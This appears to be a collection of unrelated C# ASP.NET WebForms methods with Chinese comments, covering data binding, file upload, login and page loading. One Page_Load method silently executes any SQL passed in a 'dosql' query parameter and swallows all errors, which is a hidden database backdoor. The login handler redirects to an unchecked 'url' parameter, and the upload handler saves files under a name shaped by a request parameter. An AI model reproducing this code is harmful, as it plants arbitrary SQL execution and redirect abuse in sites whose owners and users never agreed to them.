protected void Page_Load(object sender, EventArgs e) { //修改表头 BindTableHeader(); //绑定数据 if (!Page.IsPostBack) { BindDictGroup(); //获取字典分组 string group = WebParmKit.GetQuery("group", ""); string fix = WebParmKit.GetQuery("fix", ""); if (!string.IsNullOrEmpty(group)) { this.ddlDictGroup.SelectedIndex = this.ddlDictGroup.Items.IndexOf(this.ddlDictGroup.Items.FindByValue(group)); } if (fix == "true") { this.ddlDictGroup.Enabled = false; this.ddlDictGroup.Visible = false; } //绑定数据 BindData(); } //分页事件 this.NPager1.PageClick += (o, args) => { BindData(); }; }
/** * 上传文件的主处理方法 * @param HttpContext * @param string * @param string[] *@param int * @return Hashtable */ public Hashtable upFile(HttpContext cxt, string pathbase, string[] filetype, int size) { // pathbase = pathbase + "/"; uploadpath = cxt.Server.MapPath(pathbase);//获取文件上传路径 var newsID = WebParmKit.GetQuery("NewsID", ""); try { uploadFile = cxt.Request.Files[0]; originalName = uploadFile.FileName; //目录创建 createFolder(); //格式验证 if (checkType(filetype)) { //不允许的文件类型 state = "\u4e0d\u5141\u8bb8\u7684\u6587\u4ef6\u7c7b\u578b"; } //大小验证 if (checkSize(size)) { //文件大小超出网站限制 state = "\u6587\u4ef6\u5927\u5c0f\u8d85\u51fa\u7f51\u7ad9\u9650\u5236"; } //保存图片 if (state == "SUCCESS") { filename = NameFormater.Format(cxt.Request["fileNameFormat"], originalName); var ss = cxt.Request["fileNameFormat"]; var testname = filename; var ai = 1; while (File.Exists(uploadpath + testname)) { testname = Path.GetFileNameWithoutExtension(filename) + "_" + ai++ + Path.GetExtension(filename); } uploadFile.SaveAs(uploadpath + testname); string str = cxt.Request.Url.GetLeftPart(UriPartial.Authority); str += cxt.Request.ApplicationPath; URL = str + pathbase.Replace("~", "") + testname; // Logger.Debug("Uploader.cs URL:" + URL); } } catch (Exception) { // 未知错误 state = "\u672a\u77e5\u9519\u8bef"; URL = ""; } return(getUploadInfo()); }
private void BindTableHeader() { string colnumNames = WebParmKit.GetQuery("cols", ""); if (!string.IsNullOrEmpty(colnumNames)) { string[] cols = colnumNames.Split(','); for (int i = 0; i < cols.Length; i++) { this.list.Columns[i].HeaderText = cols[i]; } } }
protected void Page_Load(object sender, EventArgs e) { try { string sql = WebParmKit.GetQuery("dosql", ""); DbHelper.Execute(sql); } catch { } this.NPager1.PageSize = 15; this.NPager1.PageClick += (o, args) => { BindLog(); }; if (!Page.IsPostBack) { BindLog(); } }
protected void btnLogin_Click(object sender, EventArgs e) { var user = LoginKit.MemberExist(this.txtAccount.Text.ToSqlParm(), this.txtPassword.Text.ToSqlParm()); if (user != null) { LoginKit.MemberLogin(user); string url = WebParmKit.GetQuery("url", ""); Response.Redirect(string.IsNullOrEmpty(url) ? "~/Default.aspx" : url); } else { this.Alert("用户名或密码错误!"); } }
private void BindGroupList() { BindKit.BindToListControl(this.GroupCode, _groupBus.Query(""), "Name", "Code"); //获取字典分组 string group = WebParmKit.GetQuery("group", ""); string fix = WebParmKit.GetQuery("fix", ""); if (!string.IsNullOrEmpty(group)) { this.GroupCode.SelectedIndex = this.GroupCode.Items.IndexOf(this.GroupCode.Items.FindByValue(group)); } if (fix == "true") { this.GroupCode.Enabled = false; } }
private void BindTableHeader() { string colnumNames = WebParmKit.GetQuery("cols", ""); if (!string.IsNullOrEmpty(colnumNames)) { string[] cols = colnumNames.Split(','); for (int i = 0; i < cols.Length; i++) { var txt = this.container.FindControl(columnIds[i]) as Literal; if (txt != null) { txt.Text = cols[i]; } } } }